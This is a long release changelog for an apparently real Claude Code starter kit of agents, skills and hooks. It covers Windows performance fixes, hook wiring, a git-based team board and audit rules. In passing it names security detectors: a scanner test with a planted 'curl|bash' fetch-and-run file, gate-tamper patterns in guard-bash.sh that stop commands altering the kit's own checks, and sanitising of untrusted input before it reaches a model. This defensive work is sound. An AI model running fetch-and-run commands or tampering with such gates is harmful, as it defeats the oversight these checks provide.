Four audit agents carry a calibration rule in their own contract, which is their system prompt and so present every time they run: say which precondition is unproven rather than rounding severity up; write “unmeasured”, never “slow”, and name the measurement that would settle it; rank privacy findings by what a data subject actually loses and cite the article relied on; for any “fixed”/“passes” claim name the command whose exit code was checked, or downgrade the claim.

These began as blind-spot diagnoses, borrowed in shape from that same framework. Written out, they made confident claims about how these agents behave that nobody here had observed — the assert-without-evidence this repo refuses everywhere else. Worse than inconsistent: a diagnosis points a direction, and for three of the four it pushed toward the more expensive error. An under-flagging security auditor misses a vulnerability, a downgrading review lets a real blocker through, a quiet privacy audit has legal consequences. What survives is the half that never depended on direction — instructions rather than adjectives. The diagnostic version remains worth having and has to be earned: a fixture with planted defects, false positives and misses counted, and then the claim has both a number and a direction.
confidence-check gains the smallest of these: fix the deciding rule, and the kill criterion, before the options exist, since a criterion chosen afterwards is shaped by them. Its own text says plainly that this one is discipline and not a gate.

Changed

The reference gate learned a form it had never met: a SKILL.md may point at another skill’s references/ file, so the verifier contract lives in one place instead of a copy that drifts. Widened, not weakened — asserted in three states: a bogus skill prefix fails, a valid skill with a missing file fails, the correct pointer passes.

[2.3.1] - 2026-08-11

Fixed

A skill told its agent to check the official source, and the agent had no way to. privacy-compliance instructs its agent to read the official KVKK/GDPR text rather than decide from memory, and gives the URLs. privacy-agent-csk shipped with Read, Grep, Glob — no WebFetch. A rule an agent cannot obey does not fail loudly; it degrades into the thing the rule forbids. Found during a real regulatory audit, where the routing had to split the work by hand — code review to the specialist, legislation to general-purpose — and a human noticed the split and asked why. That is the kit compensating for its own defect, and it does not generalise.

The agent gets WebFetch. Scoped by evidence rather than symmetry: the security skills were checked too and do not need it, because their authority is a tool they can already run (npm audit, pip-audit via Bash), not a document to retrieve — a capability no skill asks for would be an idle component.

The class is gated now. A skill declares what it needs () and smoke-test checks it against every agent that applies that skill. Declared rather than inferred: guessing “this skill probably needs the web” from prose would make the gate a heuristic, and a heuristic gate is one nobody believes when it fires. Asserted both ways — green as shipped, red naming the agent, the tool and the skill when WebFetch is removed.

Added

The project declares which privacy regimes apply; the kit stops guessing. KVKK and GDPR were hardcoded — right for the two regimes this author’s projects live under, wrong as a general claim: a product sold in California is under CCPA, one in Brazil under LGPD. Shipping a global list would have been worse than the gap, because the kit would be claiming knowledge it does not have — the same mistake as rating code without running the analyser.

A project declares its own in .claude/regulations.conf (name | official source | axis, one per line) and the authority is whatever source it names. No installer writes that file and no update rewrites it; its absence means the defaults apply, so nothing has to be created for the common case and neither installer changed.

declared	result
with a source	audited; every finding cites that regime’s article, checked against the source
without a source	not ruled on — reported as “declared, no source given”
axis other than `personal-data` (BDDK, PCI-DSS, HIPAA)	said out loud as out of scope
no file	KVKK + GDPR, exactly as before

The third row is the point of the file, not an edge case: somebody who writes BDDK into it and gets a clean report would reasonably conclude the kit checked it. It did not, and silence would be the lie. Sector regulation stays outside this skill deliberately — the method is identical but the kit has no authority there.

The agent keeps its name; its description and triggers widen instead (ccpa, lgpd, data protection regulation), with a golden-routing case that fails if that stops matching. Where the explanation lives was a budget decision, not a style one: skill descriptions had 9 bytes of headroom and the discipline had 1, so it went in the skill body, which loads only when the skill fires.

Honest boundary, stated in the skill itself: this half is instruction, not a gate. Whether a citation is correct cannot be settled by an exit code.

[2.3.0] - 2026-08-11

Added

A team board whose claim is an atomic lock, so two people cannot start the same work item. Every install runs on one machine and docs/ is gitignored, so a plan, a handover and an in-progress item are all private by default — which is how three people on one repo end up building the same thing twice and finding out at merge time. The board is the shared half: the item list, the claims, the per-item handover notes and the team’s decisions live on a git ref the whole team pushes to.

The claim IS the push. Pushing to a ref is fast-forward-only, so of two simultaneous claims exactly one lands and the loser re-reads the board and refuses — naming who holds it and what is free — in under a second, before a line of code exists. No server, no token, no daemon: the atomicity is git’s own. Measured with three clones racing the same item over ten rounds (exactly one winner every round, refusal in 691 ms) and again end to end against a real GitHub remote. Commits are built with plumbing against a private index, so claiming never touches the working tree, index, branch or stash — you can claim mid-feature with dirty files.

init probes whether the server accepts a custom ref namespace (github.com: accepted) and falls back to an orphan branch when one refuses; a teammate who never ran the probe resolves that fallback themselves.

Two gates, both no-ops in a repo that never ran init. The first file edit is refused while you hold no item — catching unclaimed work at commit time means the duplicate already exists. A commit then names an item you hold ([#3]) or declares itself item-less ([chore]). /board-csk off releases all three for a repo, --global for every repo, CSK_NO_BOARD=1 for one session; a switch that released two gates of three would be a trap.

Decisions travel too. adr writes to docs/adr/, which installs gitignore, so an architectural record reached the machine that made it and nobody else — the thing this board exists for, one level above an item. Decisions now live beside the items and travel with them, including when the board is a separate repository. An unread one announces itself at the next session opening, names itself, and goes quiet once read.

Starting work asks what everyone else is doing. Claiming an item prints what each dependency actually delivered, names who is waiting on it, lists what teammates are mid-flight on right now, and surfaces decisions you have not read — because the dependency graph only knows the edges somebody declared, and a decision announced only at session start arrives too late for an item claimed an hour in.

Setup is one command for one person (/board-csk init, or --remote <url> for a separate board repository); everybody else configures nothing and the board reaches them on their own.

Gated by 30+ behavioural assertions in smoke-test — the multi-clone race, dependency block and unblock, a drop that refuses an empty note, the commit gate in four states, the write gate in five, a server that denies custom refs, a board in a separate repository, decisions reaching a second clone and going quiet once read, a status view that cannot contradict itself or serve a stale answer, and the no-board regression path that keeps every existing project exactly as it was.

Fixed

guard-bash.sh’s gate-tamper patterns spanned the whole command line, so a writer verb in one command and a gate path in another was refused as tampering — cp a b && bash .claude/hooks/board.sh status, blocked. That fault predates this release and was harmless while nobody typed a hook path; the board made one an everyday argument. Scoped to a single command segment: nine attack shapes still refused, five false positives released.

[2.2.2] - 2026-08-10

Performance

A corporate Windows machine spent seconds of every turn re-measuring something it had just measured. Reported as “clean session, first command, minutes of silence”, and measured on the machine that reported it rather than guessed — on macOS a wasteful hook and a lean one both read 0s. There: an empty bash startup costs 263 ms and an empty external command 298 ms, against ~5 ms and ~2 ms on Linux. Process creation is 60-100x slower, an enterprise scanner inspecting every spawn, and no amount of shell tuning undoes that. What is ours is how many processes we ask for.

session-guard.sh ran bash context-usage.sh --verbose as a child at the end of every turn — a second shell startup and a second full transcript scan, to recompute a figure the same script had produced one hook earlier in the same turn. context-usage.sh now publishes its reading to a session-keyed file and the Stop hook reads it with $(<file) and word splitting: no cat, no sed, no nested shell. Its two threshold awk calls became shell arithmetic on the integer part — exactly equivalent for whole-number thresholds, and it drops the locale hazard those calls existed to pin down. The session id is lifted out of the payload with parameter expansion instead of printf | sed | head | tr, validated rather than trusted because it becomes a filename.

before after

session-guard per turn end ~29 processes 14

context-usage per prompt (installed) 17 14

context-usage per prompt (plugin edition) 12 12

About 18 processes a turn on an install — roughly five seconds a turn on the reporting machine.

The honest cost: the published reading is taken at the start of the turn, so it excludes that turn’s own output and can cross a threshold one turn later than a fresh measurement. For a warning that never blocks that is a good trade, and it is not silent — a missing or unreadable file falls back to measuring properly.

Gated: the seventeen existing stop-hook assertions all exercise the slow path and still pass; four new ones cover the fast path — same verdict as the measured path, both paths speak at the same fill, a corrupt cache falls back to measuring rather than to silence, and no nested shell starts when a reading is available. The session id parse is checked on three payload shapes, because a mis-parsed id would not crash: it would write the cache under one name, read it under another, and the only symptom would be a hook that quietly stayed slow.

Not fixed here, and larger: session start still runs three separate hooks, the prompt two, and each Bash tool call two more — one shell startup each. On a machine like the one above, the biggest single lever is not ours at all: an antivirus exclusion for the Git install, the project directory and ~/.claude.

	before	after
`session-guard` per turn end	~29 processes	14
`context-usage` per prompt (installed)	17	14
`context-usage` per prompt (plugin edition)	12	12

[2.2.1] - 2026-08-07

Fixed

The real reason an update looked hung: the supply-chain scanner, 8m07s for 64 files. 2.2.0 cut adopt.sh’s own spawns from 631 to 78 and the update was still minutes long, because the cost was never in adopt.sh’s own trace: scan-skill.sh runs as a child bash, and it spawned four greps per file. Measured on the reporting machine: git status 3.0s · the detection find 0.5s · copying the whole payload 2.3s · scan-skill.sh 8m07s, of which 12.6s is user time and 2m46s kernel — process creation, not regex work.

grep takes many files at once and -cH reports a count for each, so the same engine, the same -i semantics and the same per-file line counts now come back in 4 processes instead of 244. Output was diffed against the old implementation on a fixture covering all three verdicts (SAFE / REVIEW / DANGER): byte-identical, exit code included. Deliberately not rewritten in awk — the patterns carry intervals whose behaviour would have to be re-proved against another engine, and the win here is process count, not matching speed.

That diff earned its keep: the first batched draft filled its count arrays inside a command substitution — a subshell — so every file scored a spotless 100 and the scanner passed everything. Caught before shipping.
New gate smoke-test §7w, and it asserts BOTH halves. Budget 12 greps (the old code scores 124 on the same fixture and fails), plus a planted curl|bash file that must still come back DANGER with exit 1 — because a scanner can also get fast by no longer looking, which is exactly what the subshell bug did. Proven in both regression states. §7x could not have caught any of this: it traces adopt.sh, and the scanner’s spawns are in a child process, which is how 244 of them hid behind a tidy 78.

[2.2.0] - 2026-08-07

Changed

sonarqube-check stopped claiming a verdict it never produced. The skill told you to install a local analyzer and read a clean build as 0 Bugs / 0 Vulnerabilities / 0 Hotspots / 0 Code Smells. Those are not the same measurement, and the gap is structural, not incidental: security-injection (taint) rules run only on SonarQube Server/Cloud commercial editions; Security Hotspot review state is a server-side status; coverage and duplication are not computed by a build at all; a compiler-bound analyzer never sees the JS/TS, HTML, CSS, XML, YAML, Dockerfile or SQL in the same repo; and it applies its own default rules, not the project’s Quality Profile. So the kit reported “clean” while the real report carried findings — repeatedly, to a user who had been recommending the feature on the strength of that claim.

It now works the other way round: an analysis is produced, then read. A project’s own SonarQube is used if it has one; otherwise the skill stands one up locally — Docker (sonarqube:community) or, with no Docker, the plain server zip on Java 17/21 with the embedded database. Free, no licence key, no company server, and the token is generated locally. Findings are pulled by ruleId + file + line, fixed one rule at a time by the domain owner, and then re-scanned: the deliverable is the before → after diff, not “it should be clean now”. That missing loop is why fixes appeared to be applied and the next report still had findings.

Where nothing can be run at all, the skill says so in words instead of a rating, and lists what stays unverified. Its own blind spot is stated too: Community Build has no taint analysis, so injection risk is reported separately via security-scan / threat-model, never folded into a green gate.

Also language-agnostic now, as the kit requires of anything shipped to every profile: the old text said “For .NET — the case here” and put a C# snippet in the middle of the method. SonarQube covers 20+ languages; the scanner table now carries one row per stack and assumes none.
The discipline made the same substitution, in one line, in every project. Definition of Done read “a local analyzer is 0/0/0/0”. It now reads: build clean and a real analysis clean — a green linter is a pre-check, not a verdict; no analysis, no rating.

Fixed

An update took 6m43s on Windows and was repeatedly mistaken for a hang. Reported as “/update-csk never works”: an agent ran the documented command, saw nothing move for 240s, declared it stuck and killed it — while the process was in fact still working (it had already completed once, unnoticed, which is why the version was found to be current later). Measured on the user’s machine: npx itself accounts for 6.7s; adopt.sh for 6m43s, of which 66s is kernel time — the signature of process spawns, not file I/O.

The cause is the shape this project has hit before: per-item shell loops. copy_noclobber ran dirname + mkdir + cp for every payload file; project-skill detection ran basename $(dirname …) per skill; and the PROOF-5 stale-reference check ran grep|cut|tr|sed per (agent × document) pair — the identical loop already converted to awk in doctor.sh in 2.0.1, left behind in adopt.sh. Git Bash pays 62-135ms per process where Linux pays ~1.7ms, so none of it shows up on a maintainer’s machine.

A refresh is now one cp -R instead of one cp per file, the detection loops use parameter expansion, and PROOF-5 is two awk passes whose output was diffed against the old implementation on a fixture carrying both stale categories across two documents: byte-identical, line numbers and ordering included. External commands per update: 631 → 78.

The two detection finds also prune bin/obj/node_modules/.git/.vs/packages instead of walking them and discarding the results afterwards — on a real .NET repo that is tens of thousands of Defender-scanned directory entries per run.
New gate: smoke-test §7x measures the cost of an update. Budget 200 external commands; the pre-fix code scores 618 and fails it. Proven in three states — regression fails, the current code passes at 78, and a fixture that fails to run the work fails too rather than reporting a suspiciously cheap number. That third case is not hypothetical: the first version of this gate reported “1 external command” and passed, because the fixture had left adopt.sh without its payload. It also asserts the kit repo survived the run: an earlier version invoked start.sh in place, and start.sh removes the payload next to itself — which deleted claude-starter/ out of this repository mid-session. The installer is copied to a stage first now, exactly as e2e.sh does.

[2.1.0] - 2026-08-07

Added

session-update-check.sh — a published release now finds the project, instead of waiting to be remembered. Until now a fix reached an install only when somebody thought to run /update-csk, so shipped fixes sat unused in the projects that wanted them. At session start the hook says, once, that a newer version is out and points at /update-csk.

The design constraint is the whole feature: no network I/O in the foreground. A SessionStart hook blocks the session until it returns and its timeout is 60s, so a version lookup behind a corporate proxy or on an offline machine would turn session opening into a hang — the 2.0.1 failure again, from a different cause. The foreground reads one cache file and exits; when that cache is older than a day it starts a detached refresher whose result is used by the next session. A version notice is not urgent, so being one session late costs nothing and blocking would cost everything. If the refresher is killed the next startup simply retries: the worst case is a late notice, never a hang and never a wrong version.

Wired on startup alone — on resume/clear/compact it would re-announce inside one session, on the same channel that carries the rehydrate and trust notices. Announced once per released version, so declining an update is not re-litigated every morning. CSK_NO_UPDATE_CHECK=1 turns it off; an outbound request nobody asked for needs a switch, not a justification. /doctor-csk reports the same cached answer, so a missed notice is still findable — and it makes no network call of its own either.

Both editions, each told by the channel that will deliver the release. A project install compares .claude/VERSION against the npm dist-tag and points at /update-csk; a plugin install compares its own .claude-plugin/plugin.json against the marketplace repo’s copy — the number claude plugin update will actually bring — and points at that command. The plugin’s cache is user-level ($XDG_CACHE_HOME), the one place the kit’s “everything stays inside the repo” rule cannot apply, because a plugin install is not inside one. With both present the project install wins, so one release is never announced twice.

This nearly shipped as installer-only, on the assumption that a plugin has no version to compare against. It has one — its own manifest — and the assumption would have left an entire distribution channel out of the feature. Four cases now hold that shut, including the precedence rule.

The published version is treated as untrusted input on its way into a model’s context: digits and dots, exactly three fields, or it is discarded unread. That check was measured, not assumed — the first version of its test used not-a-version as the fixture and stayed green with the sanitiser deleted, because the numeric comparison rejected it first. The fixture is now 9.9.9-<text>, which wins the comparison, so only the shape check can stop it. All four sabotages (foreground lookup · undetached refresher · no shape check · no once-per-version suppression) were run against the gate and each one fails it.

Fixed

Both READMEs said “8 hooks” while the directory held nine and their own table listed nine. Every hook was individually documented — that gate has existed since the table was written — but the number beside it was a separate claim nobody checked, and a reader takes “All 8 hooks” as the total without counting rows. Same class as the diagram that drew eleven of twelve agents and the site stuck on an old version. Corrected to ten and gated: the count is derived from hooks/*.sh and asserted in both places, in both languages.

[2.0.2] - 2026-08-07

Fixed

No hook launched at all on Windows, and every gate was silently absent. Reported as bash: C:Reposapp/.claude/hooks/session-rehydrate.sh: No such file or directory — note the separators are deleted, not converted. The installed settings.json was correct, and no local reproduction could produce that string, which is what finally located the cause: hooks were wired in shell form with the project path interpolated into the command, and Claude Code substitutes the placeholder into that string before a shell ever sees it. On Windows the value is C:\Repos\app, and the backslashes are consumed on the way. 2.0.1’s ${VAR//\\//} fold could never have run — bash was not the one doing the expanding.

Hook commands now carry no placeholder at all:
```
cd "$CLAUDE_PROJECT_DIR" 2>/dev/null; bash .claude/hooks/<name>.sh
```
Hooks run in the project directory, so the relative path is the load-bearing part and there is nothing left for the substitution to mangle. The cd is a belt for a session started in a subdirectory; it uses the bare $CLAUDE_PROJECT_DIR, which is not the placeholder syntax and therefore survives to the shell, and if it fails the relative path still carries.

The documented fix was tried first and rejected on evidence. The hooks reference recommends exec form ("command": "bash", "args": [...]) for anything referencing a path placeholder, and it was implemented — then checked on the affected Windows machine before shipping. where bash there answered C:\Windows\System32\bash.exe: not Git Bash, but the WSL launcher, whose filesystem namespace has no C:\Repos\app at all. Exec form spawns command off the PATH with no shell, so it would have run that — or failed outright on a machine without WSL — and taken every gate with it, with an error pointing nowhere near the cause. It would have been a worse bug than the one being fixed, shipped as the recommended solution. smoke-test.sh now refuses exec-form wiring outright, with that reasoning attached.

doctor.sh reports ${CLAUDE_PROJECT_DIR} in a hook command as a failure on every platform — a repo is shared across machines, and the wiring is wrong on all of them the moment one teammate is on Windows.

Handled alongside: every non-gate hook was checked to exit 0 on its hook path (context-usage.sh had a second non-zero exit that would surface as a per-turn error banner), and adopt.sh’s merge now recognises kit hooks from command and args, so it tolerates either wiring shape on an update.
Every path the kit read out of a hook payload was broken on Windows. Hook stdin is JSON, and JSON encodes a backslash as two — so the real path C:\Users\me\.claude\projects\p\a.jsonl arrives as C:\\Users\\me\\.... The kit sliced that value out with sed and used it verbatim, which names no file on any platform. context-usage.sh therefore reported transcript not found on every turn, on Windows CLI and in Claude Desktop alike, and it read like the hook was being invoked without stdin. It was being invoked correctly and then discarding the answer. Paths coming out of the payload are now JSON-decoded before use.

Scope, honestly: only context-usage.sh was actually broken. session-rehydrate.sh and skill-trust.sh folded lone backslashes in 2.0.1, and folding both halves of a \\ yields //, which the OS collapses — they survived the encoded form by accident. Both now decode explicitly, and all three are pinned by a suite case that feeds the real hooks a Windows-shaped payload.
context-usage.sh no longer exits non-zero when it cannot measure — as a hook. Nothing downstream reads the status (session-guard.sh parses the line and falls open without it), while a non-zero hook exit is a visible error in the user’s session once per turn, for a condition the discipline already handles. Called by hand with a bad path it still complains and exits 1, because that is a person’s mistake and worth saying out loud.

Added

A stale-WIRING gate: a session resumed across a kit update runs the previous hooks. Found while verifying the path fix on the affected machine — settings.json on disk had already been corrected and --resume still produced the error naming the old, mangled path, while the same event in a fresh session was clean. So --resume carries the wiring the session started with, and on the very release that repairs the Windows path that means the gates in force are still the broken ones.

The obvious gate is impossible: a hook cannot report its own absence, and under the old wiring on Windows no hook launched at all. This catches the other half — hooks that do run, but not the way the file on disk says they should. $0 is the evidence: the kit wires bash .claude/hooks/<name>.sh, so a correctly-launched hook sees a relative $0, and anything else came from a different settings.json. It stays silent when settings.json is absent or hand-rewired: a project that wired its own hooks is not wrong, and warning it every turn about something it chose is noise it cannot act on.
eval/preflight.sh — the toolchain gaps get named before they become symptoms. Runs inside start.sh and adopt.sh (before the confirm prompt) and inside doctor.sh (because the machine changes after install day). The kit is written to degrade rather than break — no jq falls back to python, then to plain bash; no sha256sum falls back to cksum — which is correct design and exactly why a missing tool never announces itself. Every surprise in this project came from that silence. Preflight names the gap and what it costs.

It reports and never installs. A scaffolding tool that puts software on someone’s workstation unasked is a worse problem than the one it solves, and on a managed corporate machine it just fails in a new way.

Note

What is verified, and by what. The script layer is covered on real Git Bash by the windows-latest CI leg: JSON-escaped payload paths decode, the wiring carries no placeholder, exec form is refused, the CRLF manifest resolves, route-hint costs 2s for ten prompts. The wiring fix itself was confirmed on the affected machine by the reporting user — same machine, same SessionStart:clear event, old wiring errored and the new wiring was clean.

What no CI can show is whether Claude Code launches the hooks across a full install, because the suite runs the scripts directly rather than through the hook mechanism. That end-to-end pass is outstanding at release time. It is written down rather than glossed: the previous release shipped on the assumption that a green suite meant a working install, and the user’s machine said otherwise.
Three gates in this release were wrong before they were right, each caught by the platform it was written for. The CRLF case passed against the broken code because it called --trust first, which accepted the falsely-flagged components and silenced the very output it asserted on. The Windows-payload fixture then failed on windows-latest twice: first because it assumed POSIX separators where TMPDIR is native, then because its encoder emitted four backslashes per separator instead of two — which decodes to //, collapsed by POSIX and read as a UNC path by Windows. In all three the measurement was broken, not the code under it. New cases now carry a check on their own fixture, and the encoder exists once rather than twice.

[2.0.1] - 2026-08-06

Fixed

The kit froze Claude Code on Windows, once per prompt. route-hint.sh runs on every UserPromptSubmit, and it scored the payload with nested shell loops: for each of the ~50 component files a grep+head+sed, and for each of their 348 trigger phrases a sed|tr|sed normalisation plus a printf|grep with another sed nested inside the pattern. That is roughly 2,000 process spawns per prompt for work that is substring matching over a few KB of text — measured at 3.35s on an M-series Mac, 104% CPU, essentially all of it fork overhead.

On macOS and Linux that is merely wasteful. On Windows it is fatal: Git Bash has no real fork(), so every process is a CreateProcess plus the MSYS2 emulation layer plus whatever the AV scanner charges — 62-135ms instead of 1.7ms. The same 2,000 spawns land at two to four minutes against a 10s hook timeout. Claude Code blocks on a hook until its timeout expires and then discards the output, so the session paid the full stall on every single prompt and lost the routing it was stalling for. Reported as “the kit hangs Claude Code and no command works”; it was never a Claude Code bug, the kit was spending the budget.

Matching is now one awk pass with the normalisation done inside awk. External processes per prompt: ~2,000 → 4. Cost per prompt: 3.35s → 0.027s. A differential run over 24 prompts (Turkish and English, every domain, plus the silence cases) shows zero behavioural difference, and smoke-test.sh §7y pins the semantics as before.
doctor.sh looked hung on Windows. Its agent-reference check ran a sed|head|tr per installed agent and then a grep|cut|tr|sed for every (agent × scanned document) pair — ~250 process spawns for a check that reads a handful of markdown files. On Git Bash that stopped dead partway through the report, and the user running it reasonably read that as a hang. Now two awk passes, whatever the component count; the report is byte-identical, including line numbers and ordering.
skill-trust.sh declared the entire payload unvetted when the manifest had CRLF line endings. It matched components with grep -qxF "skills/handoff", which does not match the line skills/handoff\r — so on Windows every kit component read as unshipped and the session opened with a wall of warnings about the kit’s own files. That is worse than noise: it teaches the reader to skip the one warning that will eventually matter. CRLF gets in whenever .claude/ is committed and checked out under core.autocrlf=true, which is precisely the shared-kit setup this gate exists for. Found while cutting the same function’s spawn count — the per-component basename + grep pair (50 components, 100 spawns, every session start, normally to report nothing) is now a single builtin read and a shell pattern match: 0 spawns.

Measured spawn counts per invocation after this release, for the paths that run on a timer users feel: route-hint.sh 3,043 → 4 (per prompt), doctor.sh ~250 → ~40, skill-trust.sh 100 → 0 (per session), context-usage.sh 9 (per prompt), guard-bash.sh 29 (per Bash tool call), session-guard.sh 9 (per turn).
Hook paths did not resolve on Windows. ${CLAUDE_PROJECT_DIR} and ${CLAUDE_PLUGIN_ROOT} arrive as native paths there (C:\Repos\app), and every hook invocation pasted a POSIX segment onto one — producing C:\Repos\app/.claude/hooks/guard-bash.sh, a shape Git Bash does not reliably resolve, so the gate reported a path it could not find. All 15 invocations in settings.json and the plugin’s hooks.json, plus the ROOT resolution inside session-rehydrate.sh and skill-trust.sh, now fold backslashes to forward slashes. Verified as a no-op on POSIX paths (including paths carrying spaces and dots) down to bash 3.2.

Changed

Hook timeouts are 60s across the board (were 10-60s). A timeout is a ceiling, not a cost: it does not slow anything down, it stops a hook being killed mid-work on a slow machine — which on Windows is the normal case, not the edge case.
The settings-merge assertions read the expected timeout from the kit instead of pinning 30. Four of them (one in smoke-test.sh, three in e2e.sh) hard-coded the number, so retuning the timeouts turned a correct merge red and blamed the merge for it — the same stale-literal failure the SessionStart assertion next door was already written to avoid. The stale fixture still carries 10, and a guard now refuses to run the assertions at all if the kit ever ships that same value, so the test cannot quietly stop proving anything.

Added

A cost gate for doctor.sh (e2e.sh, 20s bound). It lives in the e2e rather than the smoke-test because that job also runs on windows-latest — the only place in CI where a process spawn costs a real Git Bash user what it actually costs. A healthy run is ~2-4s there; a per-pair fork loop is 10s+.
A cost gate for route-hint.sh (smoke-test.sh §7y): ten prompts through the hook must finish within 5s. Correctness tests could not see this class of bug — the hook answered correctly, just far too slowly — so the budget needed a gate of its own. The bound sits an order of magnitude above the current implementation (~0.3s) and an order of magnitude below the one it replaced (34s), so it catches a fork explosion without tripping on a slow CI box. Verified failing on the old implementation before being relied on.

Note

Both fixes are reasoned from the mechanism and measured on macOS; the Windows leg is not verified on Windows hardware by this project. The freeze fix is arithmetic and holds on any platform. The path fix is a strict improvement — forward slashes work everywhere — but if a hook path error survives it, the exact error text is what will close it.

[2.0.0] - 2026-08-03

Changed

BREAKING — one install shape. start.sh no longer asks for a project profile. Every install ships all 12 agents and all 38 skills; the wizard is two steps (backend pattern → summary), and claude-starter/profiles.conf is gone. The --backend / --frontend / --mobile / --fullstack flags are accepted and ignored, with a notice, so an existing command line still installs — it just installs everything.

The split was sold as a way to spend less context. Measured against the payload: the widest pruning saves 1,467 bytes ≈ 367 tokens (--backend), 1,615 ≈ 404 (--frontend), 1,437 ≈ 359 (--mobile) — against a 13,267-byte total, and ~0.2% of a 200k window. The one argument that could have justified it, Claude Code’s 1%-of-context skill listing budget, was already answered by skillListingBudgetFraction: 0.04 shipped in 1.10.0; pruning four skills never brought a 7,208-character listing under a 2,000-character budget. The ledger on the other side is concrete and in this changelog: a sleeping agent on --generic, route-hint cases that failed on every pruned profile, and an e2e matrix that took 77 of a 89-minute Windows job. adopt.sh never pruned by profile and the plugin edition never had profiles at all — so two of three channels already shipped the full set, and the third’s difference was the bug surface.

Consequences kept deliberate: .NET/DevArchitecture ↔ generic is still asked on every install — that skill is genuinely wrong in a Node repo, and it remains the only component the installer removes. The DevArch layout (./backend + a reserved ./frontend) applies to every --dotnet install rather than one profile.
code-review-csk is re-grounded, its layers separated by the question each one answers. Judgement is the kit’s own — the two-stage verdict and verifier integrity, which exist because the code under review is increasingly agent-written. Governance is that review happens at all and its findings survive it. Comment vocabulary is a label on every comment.

Deliberately not adopted: the claim circulating that PW.7/PW.8 “become mandatory when AI is the author”. That is a vendor’s June 2026 proposal to NIST, not published NIST policy, and citing it as a standard would be exactly the kind of unverified claim the review skill exists to catch.

Two capabilities came out of the re-grounding rather than the rename. Comments carry a label (issue · suggestion · nitpick · question · todo · praise, with (blocking)/(non-blocking) decorations) mapped onto the existing blocker/suggestion/nit split — an agent writes these and something has to sort them without reading each one. And every finding now leaves the review with a disposition — fixed, tracked, accepted or dropped — which PW.7.2 requires (“record and triage all discovered issues”) and the skill had no notion of: findings were reported and then nothing. Blockers may only be fixed or tracked, and the agent cannot grant itself “accepted”.
The front page was rebuilt for someone who has not used the kit. It had grown by accretion: three dense paragraphs before the reader learned what the thing does, no table of contents at 364 lines, and two sections that explained the document instead of the product — a “claims” table followed by the same claims re-explained at length, and four “what it is not” negations answering objections a newcomer has not formed yet. Both are gone; their two real caveats moved next to what they qualify. The Turkish page was rewritten as Turkish rather than translated: 51 em dashes (not Turkish punctuation), “gate” as kapı (a door), “sandbox” as a literal sandpit, “slip” as skiing. One claim was dropped rather than reworded — the hero cited “0 of 24 sessions, 39 of 48” behind a passive “Measured:”, and those figures appear nowhere but this changelog. evals/ has no case for them, so a reader following the claim finds nothing. The pressure-test figure, which does have a published table, stays.
The updater completes a narrower install instead of preserving it. A project whose kit.conf carries a pre-2.0 profile= key gets the missing components installed, each one named in the output, and the key removed so the notice retires after one run. The list is derived from a before/after disk diff, not from a profile→pruned table, because that table is what was deleted. stack= is untouched: a generic project does not acquire devarch-module on the way through.

Fixed

brew install could not have worked, and no gate could see it. The published Homebrew formula installs update.sh. That script was renamed to adopt.sh, and make-release.sh restricts the tarball to start.sh, adopt.sh, claude-starter/ and VERSION — so the formula has been naming a file the release archive cannot contain. It survived because the release step rewrote only url, sha256 and version in the tap’s copy and never touched its install logic, while the correct formula sitting in packaging/homebrew/ was read by nothing: zero references anywhere in the repo. The release now publishes this repo’s formula and fills the three release-specific fields into it, so install logic reaches users. Two gates: the formula may only install files that exist here, and the release must copy rather than patch. The already-published tap stays broken until the next release rewrites it.
The npm wrapper’s --help advertised flags the installer no longer has. bin/cli.js printed [--backend|--frontend|--mobile|--fullstack] as the primary usage form, and described an update as refreshing “the shape it was installed in”. A user reads --help before the README. Both corrected, and a gate fails if the profile flags reappear as the documented form.
A shipped hook was documented nowhere. session-stats.sh is on disk and two skills call it, but the rewritten README dropped it, and the claim that the plugin edition ships “these gate hooks too” was wrong — skill-trust.sh is deliberately excluded there, because it decides kit-owned from a manifest only an installer writes. Both corrected. Two gates: every hook must be documented in both READMEs, and the plugin’s wired set may differ from settings.json by exactly that one documented exclusion. This is the fourth hand-maintained list in this release found to have drifted from what it describes.
An installer assertion in e2e.sh failed with nothing to read. The adopt run it depended on went to /dev/null, so a red CI could not distinguish a defect from a flake. Adopt-dependent assertions now keep the output and exit code and print the state they ran against — kit.conf, component counts, the branch, and the two signals the stack detector reads. Verified by breaking a fixture deliberately. No retry was added: the failure did not reproduce in eight local runs, passed on the neighbouring commits and on the other two runners, and burying an intermittent failure is worse than leaving it loud. Its cause is still unknown.
A gate that took three other gates down with it when its subject was deleted. Every assertion in smoke-test §6e — including the README agent-count check and the EN/TR structural parity check added earlier in this release — sat inside if [ -f profiles.conf ]. Removing that file did not turn the section red; it turned the section off, and the suite reported PASSED. The replacements are inverse and unconditional (profiles.conf must not exist; neither installer may carry prune code; kit.conf must not carry profile=), and the count check now asserts that start.sh derives its numbers from the payload rather than printing a literal. Proved by injection in six directions, each one red before the fix and green after.
Two routing suites absorbed a missing component instead of reporting it. routing-eval skipped any target it could not find and §7y printed a note for an uninstalled agent — correct while profiles pruned them, and a blindfold once every install ships everything. Both now fail; devarch-module on a generic backend is the one remaining legitimate skip. routing-eval reports 0 skipped on a full payload.
The two channels could ship different component sets with nothing comparing them. e2e.sh now diffs an installed .claude/ against the plugin edition and fails on any divergence — the class that produced the sleeping generic agent above. The rehearsal drops from six profile combinations to two backend patterns plus a legacy-flag case, and asserts the component counts instead of printing them.
A --generic install shipped a backend owner that never woke up — and two gates were looking the other way. On a non-.NET stack the installer swaps in agents-optional/backend-expert-generic.md, whose description read “Writes and edits … Kicks in for new backend features” against the .NET variant’s “Use proactively — owns server behaviour … whatever its size or wording”. That missing cue is precisely the defect 1.5.0 diagnosed as agents sleeping, still live on the generic path. It survived because the suite answered two questions by DIRECTORY rather than by fact:
- agents-optional/ was reached by exactly one of nine agent checks (routing parity). The other eight — frontmatter, skill references, Trigger phrases, the delegation cue — iterate agents/ only, so a file the installer moves into agents/ was ungated in the repo it ships from.
- In an install the file IS scanned, and the escape hatch meant for a project’s own components excused it: ✅ some agents lack a proactive cue: backend-expert-csk (your project's own agents, not gated). It is a kit agent. .claude/kit-manifest.txt has recorded exactly that distinction since 1.8.0 and none of the four hatches consulted it.
Both are fixed at the root. agent_quality_files() widens the five checks that judge a file’s own quality, and deliberately not the three that reason about the installed set (agent count, always-on byte budget, orphan routing) — a swap-in replaces its counterpart rather than adding to it. kit_owned() makes the four hatches ask the manifest instead of the context; with no manifest they stay lenient, because absence of evidence is not ownership. Verified on a live --generic install in three directions: a kit-owned component that regresses now fails, a user’s own agent is still only noted, and the generic variant passes once its description carries the cue.
